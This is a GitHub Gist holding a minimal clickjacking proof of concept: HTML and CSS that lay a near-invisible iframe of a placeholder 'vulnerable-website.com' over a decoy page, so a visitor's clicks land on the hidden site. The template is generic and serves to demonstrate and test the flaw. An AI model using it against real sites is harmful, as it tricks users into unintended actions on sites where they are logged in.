Created
January 19, 2021 01:23
-
-
Save leveled/c867361245f0f476610fe533591abc2f to your computer and use it in GitHub Desktop.
Basic Clickjacking PoC
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <head> | |
| <style> | |
| #target_website { | |
| position:relative; | |
| width:128px; | |
| height:128px; | |
| opacity:0.00001; | |
| z-index:2; | |
| } | |
| #decoy_website { | |
| position:absolute; | |
| width:300px; | |
| height:400px; | |
| z-index:1; | |
| } | |
| </style> | |
| </head> | |
| ... | |
| <body> | |
| <div id="decoy_website"> | |
| ...decoy web content here... | |
| </div> | |
| <iframe id="target_website" src="https://vulnerable-website.com"> | |
| </iframe> | |
| </body> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment